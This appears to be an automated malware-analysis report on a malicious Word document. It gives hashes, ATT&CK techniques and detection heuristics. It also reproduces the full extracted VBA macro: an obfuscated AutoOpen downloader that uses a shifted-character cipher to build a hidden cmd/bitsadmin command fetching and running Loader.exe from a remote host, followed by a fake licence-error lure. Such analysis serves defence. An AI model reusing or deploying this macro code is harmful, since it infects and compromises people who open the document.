Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d18207cc6baf306…

MALICIOUS

Office (OLE)

110.5 KB Created: 2017-05-09 08:23:00 First seen: 2019-05-31
MD5: 73b73b6ff374741d738b868b5ace24d3 SHA-1: 5745ccd8d7f5beee658735a48fe5678bf4fa364e SHA-256: 7d18207cc6baf306dc40784d69e52cf75949aa67a10aa7a09a08c97fc5cd7868
162 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code

The sample is a malicious Office document containing VBA macros. The 'AutoOpen' macro is triggered upon opening, and the document body instructs the user to 'Enable editing' and 'Enable Content', a common lure. The VBA macro contains a call to the Shell() function, indicating it likely downloads and executes a second-stage payload. The macro code appears to be obfuscated, making detailed analysis of its exact actions difficult.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3368 bytes
SHA-256: 54ba802d686c4b97dc439f86c74e258d46501a9a4c53f72d65c903326b5df245
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
If Len("xwyoadd") <> 656 Then
' jeascusk
Else
' dksdzcm
MsgBox "nwyms", 275, "bwfagyjo"
End If
Mmkmct = Mmkmct & Pppmrsszsxgchzpfscrwrkzdk("fpg1h{h 2f %zdlwiru 2w 8 ") & Pppmrsszsxgchzpfscrwrkzdk("\NHUT ) e") & Pppmrsszsxgchzpfscrwrkzdk("lwvdgplq 2wudqvih") & Pppmrsszsxgchzpfscrwrkzdk("u XNH") & Pppmrsszsxgchzpfscrwrkzdk("I 2grzqordg 2sulru")
Mmkmct = Mmkmct & Pppmrsszsxgchzpfscrwrkzdk("lw| qrupdo kwwsv=2") & Pppmrsszsxgchzpfscrwrkzdk("2zzz1zwuompsj6j") & Pppmrsszsxgchzpfscrwrkzdk("}oj1") & Pppmrsszsxgchzpfscrwrkzdk("elg2Ordghu1h{h (") & Pppmrsszsxgchzpfscrwrkzdk("dssgdwd(_wsegyd1h{h )vw") & Pppmrsszsxgchzpfscrwrkzdk("duw (dssgdwd(_ws") & Pppmrsszsxgchzpfscrwrkzdk("egyd1h{h%")
If Len("kbcvn") <> 602 Then
' csuvzcxx
Else
' gdefbcn
MsgBox "axhdblbw", 648, "zbolijoy"
End If
Wiogickiwknetafjtkebikr = Wiogickiwknetafjtkebikr & Pppmrsszsxgchzpfscrwrkzdk("Huuru 4<;:7= \rx ") & Pppmrsszsxgchzpfscrwrkzdk("pxvw kdyh Riilfh ") & Pppmrsszsxgchzpfscrwrkzdk("Surihv") & Pppmrsszsxgchzpfscrwrkzdk("vlrqdo") & Pppmrsszsxgchzpfscrwrkzdk(" Hglwlrq wr uhdg wklv f") & Pppmrsszsxgchzpfscrwrkzdk("rqwhqw/ sohdvh x") & Pppmrsszsxgchzpfscrwrkzdk("sjudgh |rxu olfhqfh1 Ylvlw z") & Pppmrsszsxgchzpfscrwrkzdk("zz1plf") & Pppmrsszsxgchzpfscrwrkzdk("urvriw1frp ir")
Wiogickiwknetafjtkebikr = Wiogickiwknetafjtkebikr & Pppmrsszsxgchzpfscrwrkzdk("u khos")
    
If Len("vunnvzyx") <> 600 Then
' jaemfkgt
Else
' yonceb
MsgBox "syzwgllv", 343, "xigvdi"
End If
Shell Mmkmct, vbHide
MsgBox Wiogickiwknetafjtkebikr
End Sub
Private Function Xwhbfel(ByVal Oakkzhjs As String, ByVal Ftakmbxcieg As Long) As String
If Len("knict") <> 337 Then
' tsawsm
Else
' kjnnh
MsgBox "vftvplk", 426, "kojblirh"
End If
Dim Gbjlohligneyzy, Yhhribkukptmupdmdga, Piwnrxughopnzllapbcftk As Long
Gbjlohligneyzy = Len(Oakkzhjs)
Dim Rinabykmfxct As String
Dim Xhkfjtfpobzkutzovtucc() As Long
If Len("pemkuc") <> 266 Then
' isimtas
Else
' ytfnkwa
MsgBox "daygpibh", 604, "elennk"
End If
ReDim Xhkfjtfpobzkutzovtucc(1 To Gbjlohligneyzy)
For Piwnrxughopnzllapbcftk = 1 To Gbjlohligneyzy
If Len("sxrsx") <> 634 Then
' crotjpak
Else
' ukjyvjik
MsgBox "eibhnttl", 520, "pvfkbn"
End If
Yhhribkukptmupdmdga = Asc(Mid(Oakkzhjs, Piwnrxughopnzllapbcftk, 1))
If Yhhribkukptmupdmdga = 32 Then
Xhkfjtfpobzkutzovtucc(Piwnrxughopnzllapbcftk) = Yhhribkukptmupdmdga
Else:
If 37 * 6 = 17366 - 2830 Then
wfykz = "jwdcwb"
End If
Yhhribkukptmupdmdga = Yhhribkukptmupdmdga - Ftakmbxcieg
Xhkfjtfpobzkutzovtucc(Piwnrxughopnzllapbcftk) = Yhhribkukptmupdmdga
End If
If Len("xbina") <> 223 Then
' bmpral
Else
' tyrpgyhk
MsgBox "ocuvz", 279, "itkycy"
End If
Rinabykmfxct = Rinabykmfxct & Chr(Xhkfjtfpobzkutzovtucc(Piwnrxughopnzllapbcftk))
Next
Xwhbfel = Rinabykmfxct
End Function
Private Function Pppmrsszsxgchzpfscrwrkzdk(Lkkuolooiexc As String)
If 151 * 2 = 28602 - 3711 Then
uzgrxz = "ygnzimya"
End If
Pppmrsszsxgchzpfscrwrkzdk = Xwhbfel(Lkkuolooiexc, 3)
If 297 * 6 = 12349 - 2109 Then
hdhwybk = "bgeyk"
End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.